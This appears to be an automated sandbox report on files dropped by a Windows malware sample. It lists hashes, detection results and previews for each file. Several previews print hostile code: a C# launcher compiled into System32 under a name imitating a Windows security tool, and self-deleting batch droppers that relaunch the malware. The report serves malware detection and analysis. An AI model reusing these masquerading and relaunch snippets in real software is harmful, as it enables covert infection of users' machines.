Entropy (8bit):	5.4753143707660685
Encrypted:	false
SSDEEP:	24576:Phia1OtQcosQNRs54PK4ItaVwHEfVEZIwE0G:Phia1OicosQNRs54PK4IpQ
MD5:	2ABE470164E060916C6842DA1263E5AD
SHA1:	197163BFB26CE54420FA6EBA03CF0FA0A5622934
SHA-256:	151A4C8EA261130B5AE94653E5470AC6FE4663DE269C187B2B38D6FCCADC1BAA
SHA-512:	01E2C58B24F7D3D7B31DF97C6DBE8AEE0C0F61F457C78D62830FA954C17DFFB74B4E5389EF389926B5BA78F96DEB08AD4CD61C9ECEA256BF35E0A99CD2366D65
Malicious:	false
Preview:	PK..........!...=............_bootlocale.pyca....................................@....x...d.Z.d.d.l.Z.d.d.l.Z.e.j...d...r,d.d.d...Z.nHz.e.j...W.n2..e.yh......e.e.d...rZd.d.d...Z.n.d.d.d...Z.Y.n.0.d.d.d...Z.d.S.)...A minimal subset of the locale module used at interpreter startup.(imported by the _io module), in order to reduce startup time...Don't import directly from third-party code; use the `locale` module instead!......N..winTc....................C........t.j.j.r.d.S.t.....d...S.).N..UTF-8.........sys..flags..utf8_mode.._locale.._getdefaultlocale....do_setlocale..r......_bootlocale.py..getpreferredencoding...............r......getandroidapilevelc....................C........d.S.).Nr....r....r....r....r....r....r...............c....................C........t.j.j.r.d.S.d.d.l.}.\|...\|...S.).Nr....r......r....r....r......localer......r....r....r....r....r....r.....................c....................C....6...\|.r.J...t.j.j.r.d.S.t...t.j...}.\|.s2t.j.d.k.r2d.}.\|.S.).Nr......darwin..r....

C:\Users\user\AppData\Local\Temp\_MEI75042\libcrypto-1_1.dll

Download File

Process:	C:\Users\user\Desktop\t8F7Ic986c.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3406016
Entropy (8bit):	6.095119740432485
Encrypted:	false
SSDEEP:	98304:ZX+SicVMcqx5q6ypQ821CPwDv3uFfJwwzS:1FicVMcqx5q6yX21CPwDv3uFfJwwz
MD5:	89511DF61678BEFA2F62F5025C8C8448
SHA1:	DF3961F833B4964F70FCF1C002D9FD7309F53EF8
SHA-256:	296426E7CE11BC3D1CFA9F2AEB42F60C974DA4AF3B3EFBEB0BA40E92E5299FDF
SHA-512:	9AF069EA13551A4672FDD4635D3242E017837B76AB2815788148DD4C44B4CF3A650D43AC79CD2122E1E51E01FB5164E71FF81A829395BDB8E50BB50A33F0A668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x...<.<.<.5.;...n...>.n...7.n...4.n...?.g...7.<.......!.....E.....=...W.=.....=.Rich<.................PE..d....El`.........." .....f$..........s........................................4......F4...`..............................................h...3.@.....3.\|.....1.......3.......4..O...~,.8........................... .,...............3..............................text....d$......f$................. ..`.rdata........$......j$.............@..@.data....z...p1..,...L1.............@....pdata..d.....1......x1.............@..@.idata...#....3..$...43.............@..@.00cfg........3......X3.............@..@.rsrc...\|.....3......Z3.............@..@.reloc...x....4..z...b3.............@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI75042\python39.dll

Download File

Process:	C:\Users\user\Desktop\t8F7Ic986c.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4462768
Entropy (8bit):	6.436862397697842
Encrypted:	false
SSDEEP:	49152:Fj3PQkQ7o11Nr9feH8NoaGh5A9lhIrcoFHuGxOCrls2Xtu6rfPa7w3J1AfkovlBl:RQkQ7o/Qeef6K3AroFVvrHRMRLwbCP
MD5:	5CD203D356A77646856341A0C9135FC6
SHA1:	A1F4AC5CC2F5ECB075B3D0129E620784814A48F7
SHA-256:	A56AFCF5F3A72769C77C3BC43C9B84197180A8B3380B6258073223BFD72ED47A
SHA-512:	390008D57FA711D7C88B77937BF16FDB230E7C1E7182FAEA6D7C206E9F65CED6F2E835F9DA9BEFB941E80624ABE45875602E0E7AD485D9A009D2450A2A0E0F1F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................... ........................N...............k..z..k.....k."....k.....Rich...........................PE..d....3.`.........." .....#..n#.....DP........................................F.......D...`..........................................b<.....T(=.\|....0F.......D.h/....C......@F..u...$.T........................... .$.8............@#.p............................text...T(#......#................. ..`.rdata..p....@#.......#.............@..@.data...P....P=......<=.............@....pdata..h/....D..0...LA.............@..@.rsrc........0F......\|C.............@..@.reloc...u...@F..v....C.............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI75042\select.pyd

Download File

Process:	C:\Users\user\Desktop\t8F7Ic986c.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	28848
Entropy (8bit):	6.167573133461333
Encrypted:	false
SSDEEP:	384:+Wu7bFYpo5K98HhIJg6mwhY6HqMGXYPAr70cE9o1IymGpMDG4y8lVJhj/:nykc6mwhBHqFY8p1IymGpMDG4yKhL
MD5:	0E3CF5D792A3F543BE8BBC186B97A27A
SHA1:	50F4C70FCE31504C6B746A2C8D9754A16EBC8D5E
SHA-256:	C7FFAE6DC927CF10AC5DA08614912BB3AD8FC52AA0EF9BC376D831E72DD74460
SHA-512:	224B42E05B4DBDF7275EE7C5D3EB190024FC55E22E38BD189C1685EFEE2A3DD527C6DFCB2FEEEC525B8D6DC35ADED1EAC2423ED62BB2599BB6A9EA34E842C340
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........+.J~E.J~E.J~E.C...H~E.&.D.H~E.&.@.A~E.&.A.B~E.&.F.N~E...D.H~E...D.O~E.J~D..~E...H.K~E...E.K~E.....K~E...G.K~E.RichJ~E.........PE..d...;3.`.........." ....."...4............................................................`..........................................Q..L....Q..x............p..T....T..........@....B..T...........................0C..8............@..(............................text.... .......".................. ..`.rdata.......@.......&..............@..@.data........`.......B..............@....pdata..T....p.......D..............@..@.rsrc................H..............@..@.reloc..@............R..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI75042\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\t8F7Ic986c.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1120944
Entropy (8bit):	5.374356784466345
Encrypted:	false
SSDEEP:	12288:lezMmuZ63NNQCb5Pfhnzr0ql8L8kkM7IRG5eeme6VZyrIBHdQLhfFE+uB/v:lezumZV0m88MMREtV6Vo4uYB/v
MD5:	7AF51031368619638CCA688A7275DB14
SHA1:	64E2CC5AC5AFE8A65AF690047DC03858157E964C
SHA-256:	7F02A99A23CC3FF63ECB10BA6006E2DA7BF685530BAD43882EBF90D042B9EEB6
SHA-512:	FBDE24501288FF9B06FC96FAFF5E7A1849765DF239E816774C04A4A6EF54A0C641ADF4325BFB116952082D3234BAEF12288174AD8C18B62407109F29AA5AB326
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.T~~.:-~.:-~.:-w..-x.:-..;,\|.:-..?,r.:-..>,v.:-..9,}.:-..;,}.:-%.;,\|.:-~.;-4.:-..7,..:-..:,..:-...-..:-..8,..:-Rich~.:-........................PE..d...-3.`.........." .....J..........X).......................................@............`.............................................X............ .......................0......`L..T............................L..8............`...............................text....I.......J.................. ..`.rdata......`.......N..............@..@.data...............................@....pdata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fvh1uhfy\fvh1uhfy.0.cs

Download File

Process:	C:\Chaindriver.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	381
Entropy (8bit):	5.001175613389123
Encrypted:	false
SSDEEP:	6:V/DBXVgtSaIb2Lnf+eG6L2F0T7bfwlxFK8wM2Lnf+eG6L29JRKVW1KEaiFK8wQAv:V/DNVgtDIbSf+eBLZ7bfiFkMSf+eBLK0
MD5:	2114D83B4088779676F153EB860B3892
SHA1:	0B447115B8683B027F33E4B7AE22995F37683234
SHA-256:	1852D09F0EA6066B64EEFFA187E08F3CF72A2DD7AD2365A71E8245E45F0C96F4
SHA-512:	F8CC81B7A5887FC3F6BF6F1A84D4206A556291CD1E8FFA718FC2DDFD99F9FB77D9AB0EAD2129B3084E27557E08BE4A0665C1610FBE238EA72BFBD0A272F8A61E
Malicious:	false
Preview:	.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Windows\system32\SecurityHealthSystray.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Recovery\NOFqHeDosUIopsPGLT.exe"); } catch { } }).Start();. }.}.

C:\Users\user\AppData\Local\Temp\fvh1uhfy\fvh1uhfy.cmdline

Download File

Process:	C:\Chaindriver.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	250
Entropy (8bit):	5.10459549683291
Encrypted:	false
SSDEEP:	6:Hu+H2L//1xRT0T79BzxsjGZxWE8owkn23fZUo:Hu7L//TRq79cQWfRZ
MD5:	6290D4996F0E1EBFFB6E4BFECF26610C
SHA1:	83D7A22F422C2B008C8D5864CAD2D87C4A9518BF
SHA-256:	4BFB9E065ED124F47353B2C1F5FACA3D0E89457CC5F0B19CB5AC81EC102308CC
SHA-512:	487AAA2C4122DEB7FFE973758F3C4F8C3DC05220CC3FEFA0AEE88BDED5CC6185BD16054375AD8594D0F80E2E8F964FC98A2B864D0F94C6ABE27B9F44DC91BD7B
Malicious:	true
Preview:	./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\fvh1uhfy\fvh1uhfy.0.cs"

C:\Users\user\AppData\Local\Temp\fvh1uhfy\fvh1uhfy.out

Download File

Process:	C:\Chaindriver.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (310), with CRLF, CR line terminators
Category:	modified
Size (bytes):	731
Entropy (8bit):	5.260905904364904
Encrypted:	false
SSDEEP:	12:TRI/u7L//TRq79cQWfRcKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:lI/un/Vq79tWfWKax5DqBVKVrdFAMBJj
MD5:	51705F0592956DC3F05E539E23BEE789
SHA1:	F8E9DAAB1ADC774EB931DDCBC8F9F58B0862C763
SHA-256:	2B3B6C2ABBFB9BC40BCA3C6D38F87460AB4B01DAECB441F1950CAF43E0618B01
SHA-512:	86E96EADAA0B85EC9629D3A612F60E6B7021DF6C7BA36BFD0A0095A371915580B8F7A1CDB2E3B994EE98D704A3F2DE5C721ECEB3C3ACA2708ED958247F45EB13
Malicious:	false
Preview:	.C:\> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\fvh1uhfy\fvh1uhfy.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\lrFP7pOB0Z.bat

Download File

Process:	C:\Chaindriver.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	194
Entropy (8bit):	5.109556575951549
Encrypted:	false
SSDEEP:	3:mKDDVNGvT2XuFK+KdTVpM3No+HK9ATSV+jn9moE9TYSBktKcKZG1t+kiE2J5xAIE:hCijTg3Nou1SV+DEoUKOZG1wkn23f3ih
MD5:	0241AD5AB8EA99665915B56EF9AE9519
SHA1:	75F9CD69CA11E3D030633E9EE86DCDB3D7A47107
SHA-256:	6648838CEF93A074583024BCA9392133088962DF1F58C4D3580F94B53258E324
SHA-512:	F29A6E40D699B62D11361590EDF645BB2CF3B434B30D68851FDA24D4F4B06F4D053CE0E1CDF21F8EE201784B94351532B6BEFB311EF8953C5979A266606DBA84
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Chaindriver.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\lrFP7pOB0Z.bat"

C:\Users\user\AppData\Local\Temp\sSQcZr2KXF

Download File

Process:	C:\Chaindriver.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.183465189601646
Encrypted:	false
SSDEEP:	3:ScfhgPh1PSn:Su2Ph1qn
MD5:	363C139ED732874608921CA4FB7113B0
SHA1:	C2709C943368AE75E02A3F5948DD94608E56DBFC
SHA-256:	9F354D4AB889108A95166113501789166C549B637417FC233DA3A91E5E45815F
SHA-512:	BA3FEEC9EC2755E6A07304F0AFFE9AFBB8C0CC6971262553C0A3417C6E52A1CCBC06C4567D196733EC7EC5788B8453B0BC88EA154C19D92D305AD16F20D62802
Malicious:	false
Preview:	0VuGe38wDozDEjDPjnFQLij0K

C:\Users\user\AppData\Local\Temp\zsJdcY9yPm.bat

Download File

Process:	C:\Recovery\Memory Compression.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.087865476001745
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DE75N0BvKOZG1wkn23f+vCLqn:HTg9uYDE7LmDfdq
MD5:	7653E52C4DECAEA0E61981EC451646C2
SHA1:	3E35FCE50ACD8C234525A12ED9E66087D064089E
SHA-256:	6DE1ED67523522C1C26CA7799ECA66AEEC649CC0621E46E652485AAA4FB02B07
SHA-512:	E141AEEAD7FE200D22E5616EFE33F16D366E8863773604EA1BC1F576FCF25D2D25878A60BF61928AAB153447FE753440B3B9C0417B306111CFFD88CBD8966CB3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Recovery\Memory Compression.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\zsJdcY9yPm.bat"

C:\Users\user\Desktop\BXpblVtN.log

Download File

Process:	C:\Recovery\Memory Compression.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\FnBzuKhI.log

Download File

Process:	C:\Recovery\Memory Compression.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\HTKiXRcY.log

Download File

Process:	C:\Chaindriver.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\KGIrVxyv.log

Download File

Process:	C:\Recovery\Memory Compression.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\PxTXHLsG.log

Download File

Process:	C:\Chaindriver.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\TkRgFrOc.log

Download File

Process:	C:\Recovery\Memory Compression.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\Zfmnrnxn.log

Download File

Process:	C:\Chaindriver.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\viEjRGTv.log

Download File

Process:	C:\Chaindriver.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Windows\System32\CSCE25282B3313D430FBB6BBFE2CFE4882.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	1224
Entropy (8bit):	4.435108676655666
Encrypted:	false
SSDEEP:	24:OBxOysuZhN7jSjRzPNnqNdt4+lEbNFjMyi07:COulajfqTSfbNtme
MD5:	931E1E72E561761F8A74F57989D1EA0A
SHA1:	B66268B9D02EC855EB91A5018C43049B4458AB16
SHA-256:	093A39E3AB8A9732806E0DA9133B14BF5C5B9C7403C3169ABDAD7CECFF341A53
SHA-512:	1D05A9BB5FA990F83BE88361D0CAC286AC8B1A2A010DB2D3C5812FB507663F7C09AE4CADE772502011883A549F5B4E18B20ACF3FE5462901B40ABCC248C98770
Malicious:	false
Preview:	.... ...........................\|...<...............0...........\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...\.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0....................................<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">.. <securi

C:\Windows\System32\SecurityHealthSystray.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.9356479918748555
Encrypted:	false
SSDEEP:	48:6WJ7PtcjM7Jt8Bs3FJsdcV4MKe27KvqBHeOulajfqXSfbNtm:tPlPc+Vx9MKvk4cjRzNt
MD5:	F8039D70F65A42398553592AFA2F0266
SHA1:	BB05F093A2D84BFE254CD644FE816DF079B9D4D8
